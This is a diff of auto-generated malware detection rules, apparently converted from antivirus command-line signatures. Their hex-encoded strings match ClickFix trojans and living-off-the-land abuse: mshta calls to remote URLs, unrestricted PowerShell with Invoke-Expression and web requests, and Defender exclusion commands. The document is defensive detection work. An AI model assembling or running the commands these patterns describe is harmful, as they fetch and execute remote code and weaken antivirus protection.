ff 77 00 69 00 6e 00 64 00 65 00 66 00 65 00 6e 00 64 00 90 02 ff 73 00 74 00 } //28781 + $a_00_7 = {73 00 65 00 72 00 76 00 69 00 63 00 65 00 90 00 01 00 38 02 77 00 6d 00 69 00 63 00 90 02 ff 73 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 68 00 65 00 61 00 6c 00 74 00 68 00 90 02 ff 64 00 65 00 6c 00 65 00 74 00 65 00 90 00 00 00 d7 d9 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 } //111 + $a_65_8 = {78 65 63 2e 41 00 01 00 07 80 01 63 73 63 2e 65 78 65 01 00 63 02 2f 00 6f 00 75 00 74 00 3a 00 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 90 02 30 2e 00 65 00 78 00 65 00 90 02 08 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 } //28483 + $a_00_9 = {6d 00 70 00 5c 00 90 02 50 2e 00 63 00 73 00 90 00 01 00 37 02 2f 6f 75 74 3a 63 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 90 02 30 2e 65 78 65 90 02 08 63 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 90 02 50 2e 63 73 90 00 00 00 d7 da 00 00 01 00 01 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_00_2 & 1)*115+(#a_00_3 & 1)*115+(#a_20_5 & 1)*656+(#a_72_6 & 1)*28781+(#a_00_7 & 1)*111+(#a_65_8 & 1)*28483+(#a_00_9 & 1)*116) >=55 + +} +rule _InfrastructureShared_28022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -345270,7 +366260,7 @@ rule _InfrastructureShared_26400{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26401{ +rule _InfrastructureShared_28023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " @@ -345281,7 +366271,7 @@ rule _InfrastructureShared_26401{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*144) >=1 } -rule _InfrastructureShared_26402{ +rule _InfrastructureShared_28024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -345292,7 +366282,29 @@ rule _InfrastructureShared_26402{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*109) >=2 } -rule _InfrastructureShared_26403{ +rule _InfrastructureShared_28025{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 72 6d 61 6e 74 57 68 61 6c 65 2e 42 21 64 68 61 00 01 00 2e 00 4f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 2f 00 31 00 36 00 2e 00 30 00 2e 00 31 00 32 00 33 00 34 } //21539 + $a_00_2 = {38 00 39 00 01 00 14 00 7a 00 74 00 6e 00 37 00 68 00 2e 00 6f 00 6e 00 6d 00 69 00 01 00 12 00 7a 00 74 00 6e 00 37 00 68 00 2d 00 6d 00 79 00 2e 00 01 00 48 00 33 } //54 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*54) >=1 + +} +rule _InfrastructureShared_28026{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 53 21 4d 54 42 00 01 00 58 00 41 00 64 00 64 00 2d 00 54 00 79 00 70 00 65 00 20 00 2d 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 4e 00 61 00 6d 00 } //21283 + $a_00_1 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 46 00 } //101 System.Windows.F + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101) >=2 + +} +rule _InfrastructureShared_28027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 05 00 21 " @@ -345304,19 +366316,45 @@ rule _InfrastructureShared_26403{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_00_4 & 1)*101) >=7 } -rule _InfrastructureShared_26404{ +rule _InfrastructureShared_28028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6c 6c 4c 6f 61 64 2e 41 00 01 00 3c 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 90 02 ff 73 00 68 00 65 00 6c 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 } //21283 $a_23_1 = {34 00 34 00 90 00 01 00 52 02 72 00 75 00 6e 00 } //656 - $a_00_2 = {6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 90 02 ff 73 00 68 00 65 00 6c 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 90 02 10 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5f 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 90 00 0a 00 0f 00 63 3a 5c 70 72 6f 67 72 61 6d 64 61 74 61 5c 9c ff 08 00 69 6e 69 74 2e 63 70 6c 00 00 d7 dc 00 } //100 + $a_00_2 = {6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 90 02 ff 73 00 68 00 65 00 6c 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 90 02 10 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5f 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 90 00 0a 00 0f 00 63 3a 5c 70 72 6f 67 72 61 6d 64 61 74 61 5c 9c ff 08 00 69 6e 69 74 2e 63 70 6c 00 00 d7 da 00 } //100 condition: ((#a_46_0 & 1)*21283+(#a_23_1 & 1)*656+(#a_00_2 & 1)*100) >=11 } -rule _InfrastructureShared_26405{ +rule _InfrastructureShared_28029{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff97 00 ffffff97 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 4d 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0a 00 66 00 6f 00 72 00 20 00 28 00 0a 00 0a 00 2d 00 62 00 } //21283 + $a_00_1 = {72 00 0a 00 12 00 2e 00 52 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 0a 00 16 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 0a 00 16 00 2e 00 53 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 01 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f } //120 + $a_00_4 = {00 00 d7 db 00 00 01 00 01 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 55 21 4d 54 42 00 01 00 1c 00 2e 00 62 00 61 00 6b 00 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 00 74 00 70 00 01 00 53 02 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 64 00 72 00 65 00 61 00 } //101 + $a_00_5 = {65 00 61 00 6d 00 63 00 6f 00 6d 00 70 00 65 00 74 00 69 00 74 00 69 00 6f 00 6e 00 73 00 90 02 3c 2e 00 62 00 61 00 6b 00 90 00 01 00 34 00 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 6c 00 2d 00 67 00 6d 00 61 00 69 00 6c 00 2e 00 63 00 6f 00 6d 00 00 00 d7 dc 00 00 02 00 02 00 02 00 21 23 53 4c 46 } //109 + $a_6f_6 = {61 6e 3a 50 6f 77 65 72 73 68 65 6c 6c 2f 53 75 73 70 45 78 65 63 2e 53 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 94 00 2d 00 6e 00 6f 00 6c 00 6f 00 67 00 6f 00 20 00 2d 00 69 00 6e 00 70 00 75 00 74 00 66 00 6f 00 72 00 6d 00 61 00 74 00 20 00 74 00 65 00 78 00 74 00 20 00 2d 00 6e 00 6f 00 65 00 } //21562 + $a_00_7 = {74 00 20 00 2d 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 75 00 6e 00 72 00 65 00 73 00 74 00 72 00 69 00 63 00 74 00 65 00 64 00 20 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 2d 00 00 00 d7 dc 00 00 2d 01 2d 01 05 00 21 23 53 4c 46 3a 54 72 6f } //120 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*120+(#a_00_4 & 1)*101+(#a_00_5 & 1)*109+(#a_6f_6 & 1)*21562+(#a_00_7 & 1)*120) >=151 + +} +rule _InfrastructureShared_28030{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 55 21 4d 54 42 00 01 00 1c 00 2e 00 62 00 61 00 6b 00 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 00 74 00 70 00 01 00 53 02 6d 00 73 00 68 00 74 00 61 00 } //21283 + $a_00_1 = {74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 64 00 72 00 65 00 61 00 6d 00 74 00 65 00 61 00 6d 00 63 00 6f 00 6d 00 70 00 65 00 74 00 69 00 74 00 69 00 6f 00 6e 00 73 00 90 02 3c 2e 00 62 00 61 00 6b 00 90 00 01 00 34 00 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 6c } //32 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32) >=1 + +} +rule _InfrastructureShared_28031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -345327,7 +366365,33 @@ rule _InfrastructureShared_26405{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105) >=2 } -rule _InfrastructureShared_26406{ +rule _InfrastructureShared_28032{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,2d 01 2d 01 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 43 50 21 4d 54 42 00 01 00 34 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 90 00 02 00 3c 00 2d } //21283 + $a_00_2 = {00 00 01 00 1a 00 69 00 77 00 72 00 20 00 90 00 02 00 3c 00 2d 00 75 00 72 00 69 00 90 00 00 00 64 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 3c 24 00 90 00 64 00 22 00 68 00 74 00 74 00 70 00 90 00 02 00 3c 00 2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 90 00 00 00 64 00 10 00 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 24 00 00 00 d7 dc 00 00 6f 00 6f 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 } //105 + $a_69_3 = {33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 4b 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2a 00 3b 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 } //14958 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*105+(#a_69_3 & 1)*14958) >=301 + +} +rule _InfrastructureShared_28033{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 4b 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2a 00 3b 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 } //21283 + $a_00_1 = {70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 0a 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 3b 00 20 00 23 00 01 00 26 00 3d 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 01 00 10 00 69 00 72 00 6d 00 20 00 2d 00 } //69 + $a_00_2 = {69 00 00 00 d7 dd 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 45 78 63 6c 75 64 65 50 72 6f 63 2e 43 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 46 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 20 00 40 00 28 00 } //85 + $a_00_3 = {78 00 65 00 27 00 2c 00 27 00 64 00 6c 00 6c 00 27 00 29 00 01 00 55 02 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 20 00 40 00 28 00 90 02 30 24 00 65 00 6e 00 76 00 3a 00 55 00 73 00 65 00 72 00 50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 2c 00 24 00 65 00 } //39 + $a_00_4 = {3a 00 90 00 00 00 d7 dd 00 00 0c 00 0c 00 07 00 21 23 54 45 4c 3a 4d 73 68 74 61 4c 61 75 6e 63 68 50 73 49 65 78 00 0a 00 1e 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 02 00 12 00 69 00 65 00 78 00 28 00 24 00 65 00 6e 00 76 00 3a 00 02 00 12 00 69 00 65 00 78 00 20 00 24 00 65 00 6e 00 76 00 3a 00 01 } //110 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*69+(#a_00_2 & 1)*85+(#a_00_3 & 1)*39+(#a_00_4 & 1)*110) >=111 + +} +rule _InfrastructureShared_28034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -345338,7 +366402,7 @@ rule _InfrastructureShared_26406{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*116) >=2 } -rule _InfrastructureShared_26407{ +rule _InfrastructureShared_28035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -345347,30 +366411,56 @@ rule _InfrastructureShared_26407{ $a_00_1 = {02 00 12 00 69 00 65 00 78 00 20 00 24 00 65 00 6e 00 76 00 3a 00 01 00 16 00 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 2b 00 27 00 01 00 12 00 2e 00 44 00 6f 00 } //118 $a_00_2 = {6c 00 6f 00 61 00 64 00 01 00 16 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 49 00 74 00 65 00 6d 00 01 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 00 00 d7 dd 00 00 a1 00 a1 00 0c 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 } //119 $a_41_3 = {21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 1d 02 53 00 74 00 61 00 72 00 74 00 90 02 04 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 00 01 00 08 00 68 00 } //11896 - $a_00_4 = {70 00 0a 00 08 00 2e 00 6d 00 70 00 33 00 0a 00 08 00 2e 00 6d 00 70 00 34 00 0a 00 08 00 2e 00 66 00 6c 00 76 00 0a 00 08 00 2e 00 6d 00 64 00 62 00 0a 00 08 00 2e 00 65 00 70 00 73 00 0a 00 08 00 2e 00 64 00 61 00 74 00 0a 00 08 00 2e 00 63 00 64 00 61 00 0a 00 08 00 2e 00 6d 00 34 00 61 00 0a 00 08 00 2e 00 78 00 6c 00 6c 00 00 00 d7 df 00 00 } //116 - $a_00_5 = {08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 } //31 - $a_54_6 = {00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 04 00 5c 00 31 00 0a 00 04 00 3d 00 22 00 01 00 1e 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 } //8519 + $a_00_4 = {70 00 0a 00 08 00 2e 00 6d 00 70 00 33 00 0a 00 08 00 2e 00 6d 00 70 00 34 00 0a 00 08 00 2e 00 66 00 6c 00 76 00 0a 00 08 00 2e 00 6d 00 64 00 62 00 0a 00 08 00 2e 00 65 00 70 00 73 00 0a 00 08 00 2e 00 64 00 61 00 74 00 0a 00 08 00 2e 00 63 00 64 00 61 00 0a 00 08 00 2e 00 6d 00 34 00 61 00 0a 00 08 00 2e 00 78 00 6c 00 6c 00 00 00 d7 de 00 00 } //116 + $a_00_5 = {04 00 21 23 } //4 + $a_3a_6 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 41 46 21 4d 54 42 00 01 00 46 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 43 00 6f 00 6d 00 4f 00 62 00 6a 00 65 } //19539 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*118+(#a_00_2 & 1)*119+(#a_41_3 & 1)*11896+(#a_00_4 & 1)*116+(#a_00_5 & 1)*31+(#a_54_6 & 1)*8519) >=12 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*118+(#a_00_2 & 1)*119+(#a_41_3 & 1)*11896+(#a_00_4 & 1)*116+(#a_00_5 & 1)*4+(#a_3a_6 & 1)*19539) >=12 } -rule _InfrastructureShared_26408{ +rule _InfrastructureShared_28036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa1 00 ffffffa1 00 0c 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 42 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 1d 02 53 00 74 00 61 00 72 00 74 00 90 02 04 50 00 72 00 6f } //21283 $a_00_2 = {90 00 01 00 08 00 68 00 74 00 74 00 70 00 0a 00 08 00 2e 00 6d 00 70 00 33 00 0a 00 08 00 2e 00 6d 00 70 00 34 00 0a 00 08 00 2e 00 66 00 6c 00 76 00 0a 00 08 00 2e 00 6d 00 64 00 62 00 0a 00 08 00 2e 00 65 00 70 00 73 00 0a 00 08 00 2e 00 64 00 61 00 74 00 0a 00 08 00 2e 00 63 00 64 00 61 00 0a 00 08 00 2e 00 6d 00 34 00 61 00 0a 00 08 00 2e } //115 - $a_00_6 = {08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 } //31 - $a_54_7 = {00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 04 00 5c 00 31 00 0a 00 04 00 3d 00 22 00 01 00 1e 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 } //8519 - $a_00_8 = {72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 01 00 16 00 68 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 72 00 61 00 79 00 01 00 16 00 2d 00 20 00 72 00 65 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 18 00 2d 00 20 00 } //22 - $a_00_9 = {20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 00 00 d7 df 00 00 32 00 32 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 4f 4c 42 41 53 5f 44 65 73 6b 74 6f 70 49 6d 67 44 6f 77 6e 6c 64 72 00 0a 00 20 00 73 00 65 00 74 00 20 00 22 00 53 00 59 00 53 00 54 00 45 00 4d 00 52 } //114 - $a_00_11 = {0a 00 0c 00 63 00 6d 00 64 00 20 00 2f 00 63 00 0a 00 22 00 64 00 65 00 73 00 6b 00 74 00 6f 00 70 00 69 00 6d 00 67 00 64 00 6f 00 77 00 6e 00 6c 00 64 00 72 00 0a 00 31 02 2f 00 6c } //84 + $a_00_6 = {04 00 21 23 } //4 + $a_3a_7 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 41 46 21 4d 54 42 00 01 00 46 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 43 00 6f 00 6d 00 4f 00 62 00 6a 00 65 } //19539 + $a_00_9 = {53 00 63 00 72 00 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 6c 00 01 00 36 00 29 00 2e 00 53 00 70 00 65 00 63 00 69 00 61 00 6c 00 46 00 6f 00 6c 00 64 00 65 00 72 00 73 00 28 00 27 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 27 00 29 00 01 00 1e 00 53 } //32 + $a_00_11 = {2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 df 00 00 0b 00 0b 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 42 5a 00 0a 00 0f 02 63 00 6d 00 64 00 90 02 10 2f 00 63 00 90 00 01 00 08 00 66 00 74 00 70 00 20 00 01 00 0e 00 66 00 74 00 70 } //114 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115+(#a_00_6 & 1)*31+(#a_54_7 & 1)*8519+(#a_00_8 & 1)*22+(#a_00_9 & 1)*114+(#a_00_11 & 1)*84) >=161 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115+(#a_00_6 & 1)*4+(#a_3a_7 & 1)*19539+(#a_00_9 & 1)*32+(#a_00_11 & 1)*114) >=161 } -rule _InfrastructureShared_26409{ +rule _InfrastructureShared_28037{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 41 46 21 4d 54 42 00 01 00 46 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 43 00 6f 00 6d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 } //21283 + $a_00_1 = {53 00 63 00 72 00 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 6c 00 01 00 36 00 29 00 2e 00 53 00 70 00 65 00 63 00 69 00 61 00 6c 00 46 00 6f 00 6c 00 64 00 65 00 72 00 73 00 28 00 27 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 27 00 29 00 01 00 1e 00 53 } //32 + $a_00_3 = {2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 df 00 00 0b 00 0b 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 42 5a 00 0a 00 0f 02 63 00 6d 00 64 00 90 02 10 2f 00 63 00 90 00 01 00 08 00 66 00 74 00 70 00 20 00 01 00 0e 00 66 00 74 00 70 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_00_3 & 1)*114) >=4 + +} +rule _InfrastructureShared_28038{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 42 5a 00 0a 00 0f 02 63 00 6d 00 64 00 90 02 10 2f 00 63 00 90 00 01 00 08 00 66 00 74 00 70 00 20 00 01 00 0e 00 66 00 74 00 70 00 2e 00 65 00 78 00 65 00 01 } //21283 + $a_00_2 = {20 00 01 00 0e 00 73 00 63 00 70 00 2e 00 65 00 78 00 65 00 01 00 0a 00 63 00 75 00 72 00 6c 00 20 00 01 00 10 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 0c 00 73 00 74 00 61 00 72 00 74 00 20 00 9c ff 32 00 52 00 75 00 6e 00 57 00 61 00 6c 00 6c 00 70 00 61 00 70 00 65 00 72 00 53 00 65 00 74 00 75 00 70 00 49 00 6e 00 } //99 + $a_00_3 = {2e 00 63 00 6d 00 64 00 00 00 d7 df 00 00 1f 00 1f 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 04 00 5c 00 31 00 0a 00 04 00 3d 00 22 00 01 00 1e 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 63 } //105 + $a_00_5 = {68 00 61 00 01 00 16 00 50 00 72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 01 00 16 00 68 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 72 00 61 00 79 00 01 00 16 00 2d 00 20 00 72 00 65 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 18 00 2d 00 20 00 72 00 65 00 20 00 63 00 61 } //116 + $a_00_7 = {61 00 00 00 d7 df 00 00 32 00 32 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 4f 4c 42 41 53 5f 44 65 73 6b 74 6f 70 49 6d 67 44 6f 77 6e 6c 64 72 00 0a 00 20 00 73 00 65 00 74 00 20 00 22 00 53 00 59 00 53 00 54 00 45 00 4d 00 52 00 4f 00 4f 00 54 00 3d 00 0a 00 0c 00 63 00 6d 00 } //99 + $a_00_8 = {2f 00 63 00 0a 00 22 00 64 00 65 00 73 00 6b 00 74 00 6f 00 70 00 69 00 6d 00 67 00 64 00 6f 00 } //100 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_00_3 & 1)*105+(#a_00_5 & 1)*116+(#a_00_7 & 1)*99+(#a_00_8 & 1)*100) >=11 + +} +rule _InfrastructureShared_28039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 08 00 21 " @@ -345384,7 +366474,7 @@ rule _InfrastructureShared_26409{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*116+(#a_00_3 & 1)*32+(#a_00_5 & 1)*99+(#a_00_7 & 1)*61) >=31 } -rule _InfrastructureShared_26410{ +rule _InfrastructureShared_28040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,32 00 32 00 05 00 21 " @@ -345392,12 +366482,36 @@ rule _InfrastructureShared_26410{ $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 4f 4c 42 41 53 5f 44 65 73 6b 74 6f 70 49 6d 67 44 6f 77 6e 6c 64 72 00 0a 00 20 00 73 00 65 00 74 00 20 00 22 00 53 00 59 00 53 00 